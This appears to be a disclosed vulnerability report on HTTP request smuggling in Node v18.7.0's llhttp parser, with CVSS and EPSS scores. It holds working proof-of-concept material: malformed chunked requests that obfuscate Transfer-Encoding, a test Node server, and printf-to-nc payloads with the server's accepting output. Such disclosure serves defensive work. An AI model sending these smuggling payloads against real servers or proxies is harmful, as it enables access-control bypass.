6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
6.4 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
0.005 Low
EPSS
Percentile
73.9%
Summary:
The llhttp
parser in the http
module in Node v18.7.0 does not correctly handle header fields that are not terminated with CLRF. This may result in HTTP Request Smuggling.
Description:
The following chunked request is processed. It should be rejected as Transfer-Encoding
header obfuscation may result in HRS when the upstream proxy does not process the Transfer-Encoding
header.
A header that precedes the Transfer-Encoding
, contains an empty value, and is not properly delimited with CLRF may be used for TE obfuscation.
POST / HTTP/1.1
Host: localhost:5000
x:\nTransfer-Encoding: chunked
1
A
0
The request is rejected when the preceding header has a value but improper CLRF.
POST / HTTP/1.1
Host: localhost:5000
x:x\nTransfer-Encoding: chunked
1
A
0
Server
Run the server: node app.js
// https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/
const http = require('http');
http.createServer((request, response) => {
let body = [];
request.on('error', (err) => {
response.end("Request Error: " + err)
}).on('data', (chunk) => {
body.push(chunk);
}).on('end', () => {
body = Buffer.concat(body).toString();
// log the body to stdout to catch the smuggled request
console.log("Response");
console.log(request.headers);
console.log(body);
console.log("---");
response.on('error', (err) => {
// log the body to stdout to catch the smuggled request
response.end("Response Error: " + err)
});
response.end("Body length: " + body.length.toString() + " Body: " + body);
});
}).listen(5000);
Payload
printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
" x:\nTransfer-Encoding: chunked\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n" | nc localhost 5000
Output
HTTP/1.1 200 OK
Date: Sat, 20 Aug 2022 02:59:38 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 22
Body length: 1 Body: A
Note:
printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
" Transfer-Encoding: yeet\r\n"\
" Transfer-Encoding: \n"\
" Transfer-Encoding: chunked\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n" | nc localhost 5000
This also works with the resulting wonky header:
HTTP/1.1 200 OK
Date: Sat, 20 Aug 2022 03:06:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 22
Body length: 1 Body: A
Response
{ host: 'localhost:5000', 'transfer-encoding': 'yeet, , chunked' }
A
HRS can lead to access control bypass and other issues.
{F1875064}
https://hackerone.com/reports/1501679
https://hackerone.com/reports/1238709
HTTP Request Smuggling can lead to access control bypass.
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
6.4 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
0.005 Low
EPSS
Percentile
73.9%